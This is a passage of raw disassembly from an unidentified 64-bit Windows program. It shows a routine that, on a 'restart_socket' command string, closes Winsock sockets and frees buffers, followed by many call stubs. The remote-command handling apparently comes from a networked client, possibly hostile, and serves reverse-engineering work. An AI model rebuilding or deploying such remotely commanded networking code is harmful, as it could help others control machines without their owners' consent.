add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400079d3
mov rcx, r8
call fcn.1400375d0
mov qword [rdi], r14
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r14
mov eax, 1
jmp 0x140007871
lea rcx, [rbp + 0x1a8]
test r13b, r13b
cmovne rcx, rsi
cmp rbx, 0xe
jne 0x1400077e5
mov r8, rbx
lea rdx, str.restart_socket
call fcn.14005fd40
test eax, eax
jne 0x1400077e5
mov rcx, qword [r15 + 0x1c0]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
nop
test r13b, r13b
je 0x140007783
lea rdx, [r12 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000777a
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000789b
mov rcx, rsi
call fcn.1400375d0
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400077d9
mov rdx, qword [rdi + 8]
call fcn.14000f800
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x1400077c7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400078b3
mov rcx, r8
call fcn.1400375d0
xor eax, eax
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov rax, 0xffffffffffffffff
jmp 0x140007871
test r13b, r13b
je 0x14000781d
lea rdx, [r12 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140007814
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000789b
mov rcx, rsi
call fcn.1400375d0
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000786f
mov rdx, qword [rdi + 8]
call fcn.14000f800
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14000785d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400078b3
mov rcx, r8
call fcn.1400375d0
xor eax, eax
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
xor eax, eax
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.1400375b0
mov rbx, qword [rsp + 0x3a8]
add rsp, 0x350
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140001270
nop
call fcn.140042cec
int3
call fcn.140042cec
nop
call fcn.14000c7d0
nop
call fcn.140010c50
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
mov ecx, 1
call fcn.140011d0c
nop
mov dword [rbp + 0xc8], ebx
mov ecx, 6
call fcn.140011d0c
nop
call fcn.14000c7d0
nop
call fcn.140001310
nop
call fcn.140042cec
nop
call fcn.140001310
int3
call fcn.140042cec
nop
call fcn.140042cec
int3
call fcn.140010c50
nop
call fcn.140010c50
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
mov ecx, 1
call fcn.140011d0c
nop
mov dword [rbp + 0xc8], ebx
mov ecx, 6
call fcn.140011d0c
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
mov ecx, 1
call fcn.140011d0c
nop
mov dword [rbp + 0xc8], ebx
mov ecx, 6
call fcn.140011d0c
nop
call fcn.14000c7d0
nop
call fcn.14000c7d0
nop
call fcn.14000c7d0
nop
call fcn.140042cec
int3
call fcn.140042cec
int3
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
nop
call fcn.140042cec
int3